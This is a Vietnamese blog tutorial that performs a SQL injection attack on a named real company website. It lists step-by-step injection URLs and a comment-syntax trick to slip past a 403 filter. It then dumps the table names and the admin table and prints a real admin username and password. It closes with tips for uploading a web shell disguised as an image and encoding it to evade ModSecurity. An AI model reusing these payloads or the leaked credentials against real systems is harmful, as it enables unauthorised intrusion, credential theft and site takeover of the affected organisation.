J2TEAM Security: A must-have extension for Chrome users. Install now!

Lỗi 403 Forbidden khi SQL Injection

Link site lỗi: http://www.vinaplast.com.vn/htmls/re...tail.php?id=15
Thêm vào dấu \" ‘ \" phía sau đường link: Trang bị trắng, không có nội dung như bình thường. Chứng tỏ đường link bị lỗi


Bước 1
: Tìm Số Cột Có Trong Database

+) Tìm số côt có trong database: Theo cách bình thường:
http://www.vinaplast.com.vn/htmls/re...tail.php?id=15 order by 500—
Web vẫn bình thường trong khi số cột quá lớn, chứng tỏ web bị lỗi ở đâu đó

+) Tìm số cột theo cách khác:
http://www.vinaplast.com.vn/htmls/recruitment_detail.php?id=15’ order by 50-- -
Ah ha, Trang web đã xuất hiện lỗi trang tinh như lúc thêm vào dấu ‘, tiếp tục thử:

http://www.vinaplast.com.vn/htmls/recruitment_detail.php?id=15’ order by 10-- -
Vẫn lỗi đó, tiếp tục thử,

http://www.vinaplast.com.vn/htmls/recruitment_detail.php?id=15’ order by 6-- -
Ak, Trang web bình thường rồi, không còn bị lỗi nữa, chứng tỏ số cột có trong database nằm trong đoạn từ 6 đến 10, tiếp tục thử:

http://www.vinaplast.com.vn/htmls/recruitment_detail.php?id=15’ order by 7-- -
Lại xuất hiện lỗi trang trắng, không có thông tin. Chứng tỏ số cột cần tìm là 7-1 =6.
Ok, tiếp tục khai thác

Bước 2: Exploit Tên Các tables

+) Tìm vị trí cột bị lỗi để khai thác:

http://www.vinaplast.com.vn/htmls/recruitment_detail.php?id=-15’ union /*!select*/ 1,2,3,4,5,6-- -
Xuất hiện cột bị lỗi cần tìm rôi, chính là cột thứ 2.
* Lưu ý: - Phải có dấu “ ’ “ sau số 15
- Nếu khai thác bình thường:
http://www.vinaplast.com.vn/htmls/recruitment_detail.php?id=-15’ union select 1,2,3,4,5,6—

sẽ xuất hiện lỗi Forbidden như sau:

Forbidden
You don't have permission to access /htmls/recruitment_detail.php on this server.
Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.
________________________________________
Apache mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 Server at www.vinaplast.com.vn Port 80

+) Cách khắc phục: thay select = /*!select*/
http://www.vinaplast.com.vn/htmls/recruitment_detail.php?id=15' union /*!select*/ 1,2,3,4,5,6-- -

Ok, đã xuất hiện cột bị lỗi rồi nhé: 2

+) Exploit tên các bảng trong database:

http://www.vinaplast.com.vn/htmls/recruitment_detail.php?id=-15’ union /*!select*/ 1,concat_ws (0x3a,table_name),3,4,5,6 from information_schema./*!tables*/ where table_schema=database()-- -

Ok!, Các table đã xuất hiện:

tbl_about tbl_admin tbl_area tbl_contact tbl_history_access tbl_investment tbl_keyword tbl_member tbl_news tbl_product tbl_recruitment tbl_setmember

Ta chú ý đến table chứa username va pass là: tbl_admin, Và ta sẽ khai thác các cột chứa trong table này


Bước 3: Exploit tên các cột trong table tbl_admin


+) http://www.vinaplast.com.vn/htmls/recruitment_detail.php?id=-15' union /*!select*/ 1,concat_ws(0x3a,column_name),3,4,5,6 from information_schema./*!columns*/ where table_schema=database() and table_name=0x74626c5f61646d696e-- -

* Lưu ý: - 74626c5f61646d696e chính là tbl_admin ở dạng hex
- Để đổi từ dạng chuỗi sang hex ta vào: http://www.string-functions.com/string-hex.aspx


Ok, đã xuât hiện tên các cột:

admin_id admin_username admin_password admin_first_name admin_last_name admin_email admin_phone admin_access

Ta chú ý đến cột: admin_username và admin_password để đăng nhập vào website, ta sẽ truy xuất thông tin của 2 cột này ra:

+) khai thác thông tin username và pass:

http://www.vinaplast.com.vn/htmls/recruitment_detail.php?id=-15' union /*!select*/ 1,concat_ws(0x3a,admin_username,admin_password),3, 4,5,6 from tbl_admin-- -



Tuyệt, đã xuât hiện username và password:

sunflower83:sunflower


Dấu : ngăn cách username và pass chính là 0x3a ở dạng hex


Bước 4: Tìm link đăng nhâp, có một số cáchm ở đây tôi sử dụng havij cho nhanh:

Và ta sẽ có link admin là: http://www.vinaplast.com.vn/admincp/

Còn về phần up shell dạng .jpg
- Nếu bác up shell lên 1 site bật kỳ nào đó (hosting) và tên shell bị đổi tên có nghĩ người lập trình code cho phép "change file name" khi upload vào 1 thư mục nào đó (VD: images). Cách "change file name" có nhiều loại change sang kiểu số or kiểu chữ ( thường , HOA) tùy người lập trình. Có thể người lập trình cho phép bất kỳ file nào mà upload và thư mục "images" điều chuyển phần mỡ rộng thành *.jpg
VD: r57.php ----> r57.php.jpg chẳn hạn.

- Cách tìm kiếm shell trên 1 site mà mình đã up. Có thể bạn dùng tool Scan hoặc dùng kỹ năng đoán. Bằng các bạn xem các file name image đc show trên trình duyệt và dự vào đó mà đoán.

- Phần tiếp: Sau khi up đc shell lên host lỗi và biết đc link shell mà ko có thể chạy đc shell tức khi chạy shell lỗi 403: thì shell bạn hiện đang bị filter bỡi modsecurity.
1 trong các mod của modsecurity có mod filter chống attack local. Có nghĩa nó sẽ filter bằng 1 từ khóa nào đó mà trong shell thường có ( VD: by hacker....) thì khi shell chạy lên nó bắt đc từ "by hacker" thì nó chặn báo lổi 403. Tốt nhất khi upload shell bạn nên encode . Chúc bạn thành công
Leader at J2TEAM. Website: https://j2team.dev/

Đăng nhận xét

Cảm ơn bạn đã đọc bài viết!

- Bạn có gợi ý hoặc bình luận xin chia sẻ bên dưới.

- Hãy viết tiếng Việt có dấu nếu có thể!